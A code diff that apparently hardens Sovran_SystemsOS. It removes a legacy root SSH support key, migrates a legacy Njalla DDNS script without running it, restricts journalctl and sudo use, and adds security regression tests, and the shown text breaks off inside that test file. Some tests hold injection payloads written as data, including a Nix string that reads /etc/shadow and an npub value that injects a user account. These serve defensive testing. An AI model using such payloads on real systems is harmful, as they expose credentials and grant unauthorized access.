r'|(https://(?:www\.)?njal\.la/(?:[^\s;|`$\x00-\x1f"]|\$\{IP\})+)' # group 2: unquoted
|
||||||
|
r')$'
|
||||||
|
)
|
||||||
|
|
||||||
|
# The exact base64 blob of the historical fleet-wide root support key that
|
||||||
|
# was shipped with old releases of Sovran_SystemsOS and must be removed from
|
||||||
|
# /root/.ssh/authorized_keys on upgrade.
|
||||||
|
LEGACY_ROOT_KEY_BLOB = (
|
||||||
|
"AAAAC3NzaC1lZDI1NTE5AAAAIPxPF2Qm11FQxC20wydKtlmn/Bo07YnDda3b9/CyXxQP"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def remove_legacy_root_key(
|
||||||
|
authorized_keys_path: str,
|
||||||
|
target_blob: str,
|
||||||
|
*,
|
||||||
|
audit_fn: Callable[[str, str], None] | None = None,
|
||||||
|
) -> bool:
|
||||||
|
"""Remove the exact historical fleet-wide support key from an authorized_keys file.
|
||||||
|
|
||||||
|
Identifies the key by its exact base64 blob (``parts[1]``), regardless of
|
||||||
|
algorithm prefix or comment field. All other keys, blank lines, and comment
|
||||||
|
lines are preserved unchanged. The file is written back atomically.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
authorized_keys_path: Path to the authorized_keys file to modify.
|
||||||
|
target_blob: The exact base64 key blob to remove. Only lines whose
|
||||||
|
second whitespace-delimited field matches this value are removed;
|
||||||
|
no substring or comment matching is performed.
|
||||||
|
audit_fn: Optional callback ``(event: str, details: str)`` for audit
|
||||||
|
logging. The full key blob is **never** passed to this callback.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
``True`` if the file was modified (at least one line removed),
|
||||||
|
``False`` if unchanged or absent.
|
||||||
|
"""
|
||||||
|
|
||||||
|
def _audit(event: str, details: str = "") -> None:
|
||||||
|
if audit_fn:
|
||||||
|
audit_fn(event, details)
|
||||||
|
|
||||||
|
try:
|
||||||
|
with open(authorized_keys_path, "r") as f:
|
||||||
|
lines = f.readlines()
|
||||||
|
except FileNotFoundError:
|
||||||
|
return False
|
||||||
|
except OSError:
|
||||||
|
return False
|
||||||
|
|
||||||
|
kept: list[str] = []
|
||||||
|
removed_count = 0
|
||||||
|
for line in lines:
|
||||||
|
stripped = line.rstrip("\n")
|
||||||
|
parts = stripped.split()
|
||||||
|
# Key lines have at least two space-separated fields: algorithm + blob.
|
||||||
|
# Remove only lines whose blob (parts[1]) matches exactly — no
|
||||||
|
# substring matching, no comment matching.
|
||||||
|
if len(parts) >= 2 and parts[1] == target_blob:
|
||||||
|
removed_count += 1
|
||||||
|
# Audit without logging the key blob itself.
|
||||||
|
_audit("LEGACY_ROOT_KEY_REMOVED", "removed exact historical root support key")
|
||||||
|
else:
|
||||||
|
kept.append(line)
|
||||||
|
|
||||||
|
if removed_count == 0:
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Atomic write: mkstemp in same directory + os.replace
|
||||||
|
auth_dir = os.path.dirname(os.path.abspath(authorized_keys_path))
|
||||||
|
fd, tmp = tempfile.mkstemp(dir=auth_dir, prefix=".authorized_keys_tmp")
|
||||||
|
try:
|
||||||
|
with os.fdopen(fd, "w") as f:
|
||||||
|
f.writelines(kept)
|
||||||
|
os.chmod(tmp, 0o600)
|
||||||
|
os.replace(tmp, authorized_keys_path)
|
||||||
|
except Exception:
|
||||||
|
try:
|
||||||
|
os.unlink(tmp)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
return False
|
||||||
|
|
||||||
|
_audit(
|
||||||
|
"LEGACY_ROOT_KEY_CLEANUP_COMPLETE",
|
||||||
|
f"removed={removed_count} keys_retained={len(kept)}",
|
||||||
|
)
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
def migrate_legacy_njalla_script(
|
||||||
|
script_path: str,
|
||||||
|
validate_fn: Callable[[str], str],
|
||||||
|
save_fn: Callable[[list[str]], None],
|
||||||
|
load_fn: Callable[[], list[str]],
|
||||||
|
*,
|
||||||
|
audit_fn: Callable[[str, str], None] | None = None,
|
||||||
|
) -> None:
|
||||||
|
"""Safely migrate legacy curl DDNS lines from a njalla.sh script to JSON store.
|
||||||
|
|
||||||
|
Reads the script **without** executing or sourcing it. Parses only the
|
||||||
|
exact narrow curl-pattern lines (quoted or unquoted) written by old Hub
|
||||||
|
versions. Any other line is silently discarded — never executed or logged
|
||||||
|
(it may contain secret tokens).
|
||||||
|
|
||||||
|
On successful persistence the script is archived with mode ``0o000`` so
|
||||||
|
it can no longer be executed. If persistence fails the script is left
|
||||||
|
**untouched**.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
script_path: Path to the legacy njalla.sh file.
|
||||||
|
validate_fn: URL validation function; raises ``ValueError`` on invalid
|
||||||
|
URLs. Callers must substitute the ``${IP}`` placeholder before
|
||||||
|
calling — this function passes ``url.replace("${IP}", "127.0.0.1")``
|
||||||
|
to the validator.
|
||||||
|
save_fn: Callable that atomically writes a ``list[str]`` URL list to
|
||||||
|
the persistent JSON store.
|
||||||
|
load_fn: Callable that returns the current ``list[str]`` URL list from
|
||||||
|
the persistent store.
|
||||||
|
audit_fn: Optional callback ``(event: str, details: str)`` for audit
|
||||||
|
logging. Token-bearing URLs are **never** passed to this callback.
|
||||||
|
"""
|
||||||
|
|
||||||
|
def _audit(event: str, details: str = "") -> None:
|
||||||
|
if audit_fn:
|
||||||
|
audit_fn(event, details)
|
||||||
|
|
||||||
|
try:
|
||||||
|
with open(script_path, "r") as f:
|
||||||
|
content = f.read()
|
||||||
|
except FileNotFoundError:
|
||||||
|
return
|
||||||
|
except OSError:
|
||||||
|
return
|
||||||
|
|
||||||
|
existing_urls = load_fn()
|
||||||
|
|
||||||
|
new_urls: list[str] = []
|
||||||
|
for raw_line in content.splitlines():
|
||||||
|
line = raw_line.strip()
|
||||||
|
if not line or line.startswith("#") or line.startswith("IP=") or line.startswith("#!/"):
|
||||||
|
continue
|
||||||
|
m = _LEGACY_NJALLA_CURL_RE.match(line)
|
||||||
|
if not m:
|
||||||
|
# Unrecognised line — discard silently, do NOT log (may contain tokens)
|
||||||
|
continue
|
||||||
|
# group(1) = quoted form, group(2) = unquoted form
|
||||||
|
raw_url = m.group(1) or m.group(2)
|
||||||
|
# Substitute placeholder so host/scheme/path validation works
|
||||||
|
url_to_validate = raw_url.replace("${IP}", "127.0.0.1")
|
||||||
|
try:
|
||||||
|
validate_fn(url_to_validate)
|
||||||
|
except ValueError:
|
||||||
|
continue # Silently discard invalid/non-Njal.la URLs
|
||||||
|
if raw_url not in existing_urls and raw_url not in new_urls:
|
||||||
|
new_urls.append(raw_url)
|
||||||
|
|
||||||
|
if new_urls:
|
||||||
|
combined = existing_urls + new_urls
|
||||||
|
try:
|
||||||
|
save_fn(combined)
|
||||||
|
except Exception:
|
||||||
|
# Persistence failed — leave the script untouched, return without
|
||||||
|
# archiving so the migration can be retried.
|
||||||
|
return
|
||||||
|
_audit("NJALLA_MIGRATION", f"migrated {len(new_urls)} DDNS URLs from legacy script")
|
||||||
|
|
||||||
|
# Archive: remove all permission bits so cron/any mechanism cannot run it
|
||||||
|
try:
|
||||||
|
os.chmod(script_path, 0o000)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def expire_if_stale(
|
||||||
|
status_file: str,
|
||||||
|
*,
|
||||||
|
clock_fn: Callable[[], float] | None = None,
|
||||||
|
disable_fn: Callable[[], bool] | None = None,
|
||||||
|
audit_fn: Callable[[str, str], None] | None = None,
|
||||||
|
session_id: str | None = None,
|
||||||
|
expected_expiry: float | None = None,
|
||||||
|
max_session_seconds: float = 86400.0,
|
||||||
|
) -> bool:
|
||||||
|
"""Expire a support session if its deadline has passed.
|
||||||
|
|
||||||
|
**Stale-timer guard:** when ``session_id`` and/or ``expected_expiry`` are
|
||||||
|
provided (used by the server-side timer callback), the stored session
|
||||||
|
metadata is compared field-by-field. A mismatch means a replacement
|
||||||
|
session has been started after this timer was scheduled; in that case the
|
||||||
|
function returns ``False`` without touching anything.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
status_file: Path to the JSON session metadata file.
|
||||||
|
clock_fn: Callable returning current Unix time (default: ``time.time``).
|
||||||
|
disable_fn: Callable that performs the full disable sequence — removes
|
||||||
|
the support key, removes wallet-unlock metadata, restores deny
|
||||||
|
ACLs, clears session metadata, and audits the event. If ``None``,
|
||||||
|
expiry is detected but no action is taken (useful for tests that
|
||||||
|
want to inspect detection only).
|
||||||
|
audit_fn: Optional callback ``(event: str, details: str)`` for audit
|
||||||
|
logging.
|
||||||
|
session_id: If given, expiry is skipped unless the stored
|
||||||
|
``session_id`` field matches exactly.
|
||||||
|
expected_expiry: If given, expiry is skipped unless the stored
|
||||||
|
``expires_at`` field matches exactly.
|
||||||
|
max_session_seconds: Legacy fallback: maximum age (from ``enabled_at``)
|
||||||
|
when ``expires_at`` is absent.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
``True`` if a session was expired, ``False`` otherwise.
|
||||||
|
"""
|
||||||
|
_now = clock_fn if clock_fn is not None else _time_module.time
|
||||||
|
|
||||||
|
def _audit(event: str, details: str = "") -> None:
|
||||||
|
if audit_fn:
|
||||||
|
audit_fn(event, details)
|
||||||
|
|
||||||
|
def _disable() -> bool:
|
||||||
|
return disable_fn() if disable_fn is not None else True
|
||||||
|
|
||||||
|
try:
|
||||||
|
with open(status_file, "r") as f:
|
||||||
|
info = json.load(f)
|
||||||
|
except (FileNotFoundError, json.JSONDecodeError):
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Stale-timer guard
|
||||||
|
if session_id is not None and info.get("session_id") != session_id:
|
||||||
|
return False
|
||||||
|
if expected_expiry is not None and info.get("expires_at") != expected_expiry:
|
||||||
|
return False
|
||||||
|
|
||||||
|
expires_at = info.get("expires_at")
|
||||||
|
now = _now()
|
||||||
|
|
||||||
|
if expires_at is None:
|
||||||
|
enabled_at = info.get("enabled_at", 0)
|
||||||
|
if enabled_at and (now - enabled_at) > max_session_seconds:
|
||||||
|
_audit("SUPPORT_EXPIRED", "legacy session without expires_at exceeded max duration")
|
||||||
|
_disable()
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
|
||||||
|
if now >= expires_at:
|
||||||
|
_audit("SUPPORT_EXPIRED", f"session expired at {expires_at:.0f}")
|
||||||
|
_disable()
|
||||||
|
return True
|
||||||
|
|
||||||
|
return False
|
||||||
+2
-3
@@ -193,9 +193,8 @@ backup /etc/nix-bitcoin-secrets/ localhost/
|
|||||||
|
|
||||||
# ── Cron ───────────────────────────────────────────────────
|
# ── Cron ───────────────────────────────────────────────────
|
||||||
# The legacy njalla.sh root cron job has been replaced by the systemd timer
|
# The legacy njalla.sh root cron job has been replaced by the systemd timer
|
||||||
# defined in modules/core/njalla.nix (sovran-ddns-update.timer). Root-shell
|
# defined in modules/core/njalla.nix (sovran-ddns-update.timer). Cron is
|
||||||
# cron execution of njalla.sh is no longer used.
|
# retained so that rsnapshot and other module-defined cron jobs continue to run.
|
||||||
services.cron.enable = false;
|
|
||||||
|
|
||||||
# ── Tor ────────────────────────────────────────────────────
|
# ── Tor ────────────────────────────────────────────────────
|
||||||
services.tor = { enable = true; client.enable = true; torsocks.enable = true; };
|
services.tor = { enable = true; client.enable = true; torsocks.enable = true; };
|
||||||
|
|||||||
+42
-13
@@ -6,6 +6,17 @@
|
|||||||
"d /var/lib/njalla 0750 root root -"
|
"d /var/lib/njalla 0750 root root -"
|
||||||
];
|
];
|
||||||
|
|
||||||
|
# ── Install the shared validation helper so the DDNS runner can import it ─
|
||||||
|
# The exact same _validate_ddns_url() function used by the Hub web application
|
||||||
|
# is installed here as a read-only system file. The DDNS runner imports it
|
||||||
|
# directly so the two code paths share one validator — no weaker inline copy.
|
||||||
|
environment.etc."sovran/security_helpers.py" = {
|
||||||
|
source = ../../app/sovran_systemsos_web/security_helpers.py;
|
||||||
|
mode = "0444";
|
||||||
|
user = "root";
|
||||||
|
group = "root";
|
||||||
|
};
|
||||||
|
|
||||||
# ── Safe DDNS update service ─────────────────────────────────────────────
|
# ── Safe DDNS update service ─────────────────────────────────────────────
|
||||||
# Reads DDNS update URLs from the JSON store written by the Hub API and
|
# Reads DDNS update URLs from the JSON store written by the Hub API and
|
||||||
# invokes curl directly — no shell interpolation, no script execution.
|
# invokes curl directly — no shell interpolation, no script execution.
|
||||||
@@ -23,6 +34,7 @@
|
|||||||
NoNewPrivileges = true;
|
NoNewPrivileges = true;
|
||||||
ProtectSystem = "strict";
|
ProtectSystem = "strict";
|
||||||
ReadWritePaths = [ "/var/lib/njalla" ];
|
ReadWritePaths = [ "/var/lib/njalla" ];
|
||||||
|
ReadOnlyPaths = [ "/etc/sovran" ];
|
||||||
ProtectHome = true;
|
ProtectHome = true;
|
||||||
PrivateTmp = true;
|
PrivateTmp = true;
|
||||||
RestrictAddressFamilies = [ "AF_INET" "AF_INET6" ];
|
RestrictAddressFamilies = [ "AF_INET" "AF_INET6" ];
|
||||||
@@ -42,15 +54,31 @@
|
|||||||
|
|
||||||
# Install the Python runner script at build time so the service can find it.
|
# Install the Python runner script at build time so the service can find it.
|
||||||
# The script is owned by root and not world-writable.
|
# The script is owned by root and not world-writable.
|
||||||
|
# Uses _validate_ddns_url() from /etc/sovran/security_helpers.py — the same
|
||||||
|
# production validator used by the Hub API — before executing any curl call.
|
||||||
|
# No shell is used; no redirects; no script execution.
|
||||||
|
# ${IP} placeholder is preserved in stored URLs and substituted at runtime;
|
||||||
|
# the URL is validated after substitution so any remaining $ is rejected.
|
||||||
system.activationScripts.sovran-ddns-update-script = ''
|
system.activationScripts.sovran-ddns-update-script = ''
|
||||||
install -d -m 0755 /var/lib/sovran
|
install -d -m 0755 /var/lib/sovran
|
||||||
cat > /var/lib/sovran/ddns-update.py <<'PYEOF'
|
cat > /var/lib/sovran/ddns-update.py <<'PYEOF'
|
||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
"""Sovran safe DDNS update runner. Read ddns_urls.json, call curl per URL."""
|
"""Sovran safe DDNS update runner.
|
||||||
import ipaddress, json, os, subprocess
|
|
||||||
|
Reads ddns_urls.json, substitutes the public IP for the ''${IP} placeholder,
|
||||||
|
validates each URL using the production _validate_ddns_url() from
|
||||||
|
/etc/sovran/security_helpers.py, then calls curl per URL.
|
||||||
|
No shell interpolation. No redirects. No script execution.
|
||||||
|
"""
|
||||||
|
import ipaddress, json, os, subprocess, sys
|
||||||
|
|
||||||
|
sys.path.insert(0, '/etc/sovran')
|
||||||
|
try:
|
||||||
|
from security_helpers import _validate_ddns_url
|
||||||
|
except ImportError:
|
||||||
|
sys.exit(0) # validator not available — skip silently
|
||||||
|
|
||||||
URLS_FILE = "/var/lib/njalla/ddns_urls.json"
|
URLS_FILE = "/var/lib/njalla/ddns_urls.json"
|
||||||
ALLOWED_HOSTS = frozenset(["njal.la", "www.njal.la"])
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
with open(URLS_FILE) as f:
|
with open(URLS_FILE) as f:
|
||||||
@@ -58,7 +86,7 @@ try:
|
|||||||
if not isinstance(urls, list):
|
if not isinstance(urls, list):
|
||||||
raise ValueError("not a list")
|
raise ValueError("not a list")
|
||||||
except Exception:
|
except Exception:
|
||||||
raise SystemExit(0) # no URLs configured — nothing to do
|
sys.exit(0) # no URLs configured — nothing to do
|
||||||
|
|
||||||
# Resolve current public IP once
|
# Resolve current public IP once
|
||||||
public_ip = ""
|
public_ip = ""
|
||||||
@@ -68,26 +96,27 @@ try:
|
|||||||
capture_output=True, text=True, timeout=10,
|
capture_output=True, text=True, timeout=10,
|
||||||
)
|
)
|
||||||
raw = r.stdout.strip().splitlines()[0] if r.stdout.strip() else ""
|
raw = r.stdout.strip().splitlines()[0] if r.stdout.strip() else ""
|
||||||
ipaddress.ip_address(raw) # validates
|
ipaddress.ip_address(raw) # validates — raises if not a real IP
|
||||||
public_ip = raw
|
public_ip = raw
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
import urllib.parse
|
if not public_ip:
|
||||||
|
sys.exit(0) # no IP resolved — skip to avoid sending bare ''${IP}
|
||||||
|
|
||||||
for raw_url in urls:
|
for raw_url in urls:
|
||||||
try:
|
try:
|
||||||
url = raw_url.replace("''${IP}", public_ip) if public_ip else raw_url
|
# Substitute ''${IP} placeholder then validate through production validator.
|
||||||
parsed = urllib.parse.urlparse(url)
|
# After substitution there must be no $ left; _validate_ddns_url rejects
|
||||||
if parsed.scheme.lower() != "https":
|
# any remaining $ expression.
|
||||||
continue
|
url = raw_url.replace("''${IP}", public_ip)
|
||||||
if (parsed.hostname or "").lower() not in ALLOWED_HOSTS:
|
_validate_ddns_url(url)
|
||||||
continue
|
|
||||||
subprocess.run(
|
subprocess.run(
|
||||||
["curl", "--silent", "--max-time", "15", "--fail", "--no-location", url],
|
["curl", "--silent", "--max-time", "15", "--fail", "--no-location", url],
|
||||||
timeout=20, check=False,
|
timeout=20, check=False,
|
||||||
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
|
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
|
||||||
)
|
)
|
||||||
except Exception:
|
except (ValueError, Exception):
|
||||||
pass
|
pass
|
||||||
PYEOF
|
PYEOF
|
||||||
chmod 0500 /var/lib/sovran/ddns-update.py
|
chmod 0500 /var/lib/sovran/ddns-update.py
|
||||||
|
|||||||
@@ -6,13 +6,14 @@ a strict allowlist of safe flags. Replaces the ``journalctl *`` sudo rule
|
|||||||
in tech-support.nix.
|
in tech-support.nix.
|
||||||
|
|
||||||
Accepted flags:
|
Accepted flags:
|
||||||
--unit / -u <name> unit name (letters, digits, @, ., _, - only; .service suffix required)
|
--unit / -u <name> must be one of the explicitly approved service units
|
||||||
--lines / -n <N> positive integer (max 10000)
|
--lines / -n <N> positive integer (max 10000)
|
||||||
--priority / -p <level> 0-7 or emerg/alert/crit/err/warning/notice/info/debug
|
--priority / -p <level> 0-7 or emerg/alert/crit/err/warning/notice/info/debug
|
||||||
--since <datetime> ISO 8601 date/datetime (no paths, no filesystem roots)
|
--since <datetime> ISO 8601 date/datetime (no paths, no filesystem roots)
|
||||||
--until <datetime> ISO 8601 date/datetime (no paths, no filesystem roots)
|
--until <datetime> ISO 8601 date/datetime (no paths, no filesystem roots)
|
||||||
--output / -o <format> short | short-iso | cat | json | verbose
|
--output / -o <format> short | short-iso | cat | json | verbose
|
||||||
|
|
||||||
|
At least one ``--unit`` flag is required; whole-journal queries are rejected.
|
||||||
All other flags, paths, directories, roots, namespaces, and output
|
All other flags, paths, directories, roots, namespaces, and output
|
||||||
destinations are rejected with a non-zero exit code.
|
destinations are rejected with a non-zero exit code.
|
||||||
"""
|
"""
|
||||||
@@ -23,9 +24,14 @@ import sys
|
|||||||
|
|
||||||
# ── Allowlists ────────────────────────────────────────────────────────────────
|
# ── Allowlists ────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
_ALLOWED_UNITS_RE = re.compile(
|
# Explicit approved units. Only these four services may be queried through
|
||||||
r'^[a-zA-Z0-9@._\-]+\.(service|socket|timer|target|mount|path|slice|scope)$'
|
# the restricted journal helper. Any other unit is rejected.
|
||||||
)
|
_APPROVED_UNITS: frozenset[str] = frozenset([
|
||||||
|
"sovran-hub-web.service",
|
||||||
|
"caddy.service",
|
||||||
|
"bitcoind.service",
|
||||||
|
"lnd.service",
|
||||||
|
])
|
||||||
|
|
||||||
_ALLOWED_PRIORITIES = frozenset([
|
_ALLOWED_PRIORITIES = frozenset([
|
||||||
"0", "1", "2", "3", "4", "5", "6", "7",
|
"0", "1", "2", "3", "4", "5", "6", "7",
|
||||||
@@ -50,8 +56,11 @@ def _die(msg: str) -> None:
|
|||||||
|
|
||||||
|
|
||||||
def _validate_unit(val: str) -> str:
|
def _validate_unit(val: str) -> str:
|
||||||
if not _ALLOWED_UNITS_RE.match(val):
|
if val not in _APPROVED_UNITS:
|
||||||
_die(f"rejected unit name: {val!r} (only letters/digits/@._- with a known suffix)")
|
_die(
|
||||||
|
f"rejected unit name: {val!r} "
|
||||||
|
f"(allowed: {', '.join(sorted(_APPROVED_UNITS))})"
|
||||||
|
)
|
||||||
return val
|
return val
|
||||||
|
|
||||||
|
|
||||||
@@ -86,6 +95,7 @@ def _validate_output(val: str) -> str:
|
|||||||
def main() -> None:
|
def main() -> None:
|
||||||
args = sys.argv[1:]
|
args = sys.argv[1:]
|
||||||
cmd = ["journalctl"]
|
cmd = ["journalctl"]
|
||||||
|
unit_count = 0
|
||||||
|
|
||||||
i = 0
|
i = 0
|
||||||
while i < len(args):
|
while i < len(args):
|
||||||
@@ -96,8 +106,10 @@ def main() -> None:
|
|||||||
if i >= len(args):
|
if i >= len(args):
|
||||||
_die("--unit requires a value")
|
_die("--unit requires a value")
|
||||||
cmd += ["--unit", _validate_unit(args[i])]
|
cmd += ["--unit", _validate_unit(args[i])]
|
||||||
|
unit_count += 1
|
||||||
elif arg.startswith("--unit="):
|
elif arg.startswith("--unit="):
|
||||||
cmd += ["--unit", _validate_unit(arg[len("--unit="):])]
|
cmd += ["--unit", _validate_unit(arg[len("--unit="):])]
|
||||||
|
unit_count += 1
|
||||||
|
|
||||||
elif arg in ("--lines", "-n"):
|
elif arg in ("--lines", "-n"):
|
||||||
i += 1
|
i += 1
|
||||||
@@ -149,8 +161,11 @@ def main() -> None:
|
|||||||
|
|
||||||
i += 1
|
i += 1
|
||||||
|
|
||||||
if not cmd[1:]:
|
if unit_count == 0:
|
||||||
_die("at least one flag is required (try --unit <name>)")
|
_die(
|
||||||
|
"at least one --unit flag is required; "
|
||||||
|
f"allowed units: {', '.join(sorted(_APPROVED_UNITS))}"
|
||||||
|
)
|
||||||
|
|
||||||
result = subprocess.run(cmd)
|
result = subprocess.run(cmd)
|
||||||
sys.exit(result.returncode)
|
sys.exit(result.returncode)
|
||||||
|
|||||||
@@ -63,11 +63,11 @@
|
|||||||
{
|
{
|
||||||
users = [ "sovran-support" ];
|
users = [ "sovran-support" ];
|
||||||
commands = [
|
commands = [
|
||||||
{ command = "/run/current-system/sw/bin/systemctl restart sovran-hub.service"; options = [ "NOPASSWD" ]; }
|
{ command = "/run/current-system/sw/bin/systemctl restart sovran-hub-web.service"; options = [ "NOPASSWD" ]; }
|
||||||
{ command = "/run/current-system/sw/bin/systemctl restart caddy.service"; options = [ "NOPASSWD" ]; }
|
{ command = "/run/current-system/sw/bin/systemctl restart caddy.service"; options = [ "NOPASSWD" ]; }
|
||||||
{ command = "/run/current-system/sw/bin/systemctl restart bitcoind.service"; options = [ "NOPASSWD" ]; }
|
{ command = "/run/current-system/sw/bin/systemctl restart bitcoind.service"; options = [ "NOPASSWD" ]; }
|
||||||
{ command = "/run/current-system/sw/bin/systemctl restart lnd.service"; options = [ "NOPASSWD" ]; }
|
{ command = "/run/current-system/sw/bin/systemctl restart lnd.service"; options = [ "NOPASSWD" ]; }
|
||||||
{ command = "/run/current-system/sw/bin/systemctl status sovran-hub.service"; options = [ "NOPASSWD" ]; }
|
{ command = "/run/current-system/sw/bin/systemctl status sovran-hub-web.service"; options = [ "NOPASSWD" ]; }
|
||||||
{ command = "/run/current-system/sw/bin/systemctl status caddy.service"; options = [ "NOPASSWD" ]; }
|
{ command = "/run/current-system/sw/bin/systemctl status caddy.service"; options = [ "NOPASSWD" ]; }
|
||||||
{ command = "/run/current-system/sw/bin/systemctl status bitcoind.service"; options = [ "NOPASSWD" ]; }
|
{ command = "/run/current-system/sw/bin/systemctl status bitcoind.service"; options = [ "NOPASSWD" ]; }
|
||||||
{ command = "/run/current-system/sw/bin/systemctl status lnd.service"; options = [ "NOPASSWD" ]; }
|
{ command = "/run/current-system/sw/bin/systemctl status lnd.service"; options = [ "NOPASSWD" ]; }
|
||||||
|
|||||||
+453
-214
@@ -1,8 +1,7 @@
|
|||||||
"""Security regression tests for Sovran Hub security helpers.
|
"""Security regression tests for Sovran Hub security helpers.
|
||||||
|
|
||||||
Tests exercise the exact production implementations imported from
|
Tests exercise the exact production implementations — no helpers are
|
||||||
``app/sovran_systemsos_web/security_helpers.py`` — no helpers are
|
redefined or simulated here. Every test calls the deployed code.
|
||||||
redefined here. Every test verifies the deployed code, not a copy.
|
|
||||||
|
|
||||||
Tests must never:
|
Tests must never:
|
||||||
- reboot, rebuild, or alter real SSH keys
|
- reboot, rebuild, or alter real SSH keys
|
||||||
@@ -11,12 +10,13 @@ Tests must never:
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
import base64
|
import base64
|
||||||
|
import json
|
||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
|
import tempfile
|
||||||
import unittest
|
import unittest
|
||||||
|
|
||||||
# Add the app package to the path so we can import security_helpers directly
|
# Add the app package to the path so we can import without the full FastAPI tree.
|
||||||
# without the full FastAPI dependency tree.
|
|
||||||
_REPO_ROOT = os.path.normpath(os.path.join(os.path.dirname(__file__), ".."))
|
_REPO_ROOT = os.path.normpath(os.path.join(os.path.dirname(__file__), ".."))
|
||||||
_APP_PARENT = os.path.join(_REPO_ROOT, "app")
|
_APP_PARENT = os.path.join(_REPO_ROOT, "app")
|
||||||
if _APP_PARENT not in sys.path:
|
if _APP_PARENT not in sys.path:
|
||||||
@@ -31,6 +31,7 @@ from sovran_systemsos_web.security_helpers import ( # noqa: E402
|
|||||||
_DDNS_ALLOWED_HOSTNAMES,
|
_DDNS_ALLOWED_HOSTNAMES,
|
||||||
_bech32_decode,
|
_bech32_decode,
|
||||||
)
|
)
|
||||||
|
from sovran_systemsos_web import support_ops # noqa: E402
|
||||||
|
|
||||||
|
|
||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
@@ -47,26 +48,22 @@ class TestNixEscape(unittest.TestCase):
|
|||||||
self.assertEqual(_nix_escape("a\\b"), "a\\\\b")
|
self.assertEqual(_nix_escape("a\\b"), "a\\\\b")
|
||||||
|
|
||||||
def test_nix_interpolation_escaped(self):
|
def test_nix_interpolation_escaped(self):
|
||||||
result = _nix_escape("${pkgs.bash}")
|
self.assertEqual(_nix_escape("${evil}"), "\\${evil}")
|
||||||
self.assertIn("\\${", result)
|
|
||||||
self.assertFalse(result.startswith("${"))
|
|
||||||
|
|
||||||
def test_newline_escaped(self):
|
def test_newline_escaped(self):
|
||||||
result = _nix_escape("foo\nbar")
|
self.assertEqual(_nix_escape("a\nb"), "a\\nb")
|
||||||
self.assertNotIn("\n", result)
|
|
||||||
self.assertIn("\\n", result)
|
|
||||||
|
|
||||||
def test_carriage_return_escaped(self):
|
def test_carriage_return_escaped(self):
|
||||||
self.assertNotIn("\r", _nix_escape("foo\rbar"))
|
self.assertEqual(_nix_escape("a\rb"), "a\\rb")
|
||||||
|
|
||||||
def test_tab_escaped(self):
|
def test_tab_escaped(self):
|
||||||
self.assertNotIn("\t", _nix_escape("foo\tbar"))
|
self.assertEqual(_nix_escape("a\tb"), "a\\tb")
|
||||||
|
|
||||||
def test_semicolons_unchanged(self):
|
def test_semicolons_unchanged(self):
|
||||||
self.assertEqual(_nix_escape("a;b"), "a;b")
|
self.assertEqual(_nix_escape("a;b"), "a;b")
|
||||||
|
|
||||||
def test_valid_timezone(self):
|
def test_valid_timezone(self):
|
||||||
self.assertEqual(_nix_escape("Europe/London"), "Europe/London")
|
self.assertEqual(_nix_escape("America/New_York"), "America/New_York")
|
||||||
|
|
||||||
def test_injection_payload_quotes_and_interpolation(self):
|
def test_injection_payload_quotes_and_interpolation(self):
|
||||||
payload = '"; import <nixpkgs/nixos/tests/keymap.nix> { ${builtins.readFile "/etc/shadow"} }'
|
payload = '"; import <nixpkgs/nixos/tests/keymap.nix> { ${builtins.readFile "/etc/shadow"} }'
|
||||||
@@ -85,7 +82,7 @@ class TestNixEscape(unittest.TestCase):
|
|||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
class TestNpubValidationRegex(unittest.TestCase):
|
class TestNpubValidationRegex(unittest.TestCase):
|
||||||
"""NPUB_RE must accept valid npub shapes and reject injection payloads."""
|
"""NPUB_RE must enforce the npub1 + 58 lowercase bech32 shape."""
|
||||||
|
|
||||||
# 58 bech32 chars after "npub1"
|
# 58 bech32 chars after "npub1"
|
||||||
VALID_SHAPE = "npub1" + "q" * 58
|
VALID_SHAPE = "npub1" + "q" * 58
|
||||||
@@ -103,7 +100,7 @@ class TestNpubValidationRegex(unittest.TestCase):
|
|||||||
self.assertIsNone(NPUB_RE.fullmatch("npub1" + "q" * 59))
|
self.assertIsNone(NPUB_RE.fullmatch("npub1" + "q" * 59))
|
||||||
|
|
||||||
def test_uppercase_rejected(self):
|
def test_uppercase_rejected(self):
|
||||||
self.assertIsNone(NPUB_RE.fullmatch("npub1" + "Q" * 58))
|
self.assertIsNone(NPUB_RE.fullmatch("NPUB1" + "q" * 58))
|
||||||
|
|
||||||
def test_injection_quote_rejected(self):
|
def test_injection_quote_rejected(self):
|
||||||
self.assertIsNone(NPUB_RE.fullmatch('npub1aaa"; extraUsers.evil.isNormalUser = true; #'))
|
self.assertIsNone(NPUB_RE.fullmatch('npub1aaa"; extraUsers.evil.isNormalUser = true; #'))
|
||||||
@@ -113,50 +110,47 @@ class TestNpubValidationRegex(unittest.TestCase):
|
|||||||
|
|
||||||
|
|
||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
# Nostr npub validation — real Bech32 checksum
|
# Nostr npub validation — full bech32
|
||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
class TestNpubBech32Validation(unittest.TestCase):
|
class TestNpubBech32Validation(unittest.TestCase):
|
||||||
"""_validate_npub must require a valid Bech32 checksum and 32-byte payload."""
|
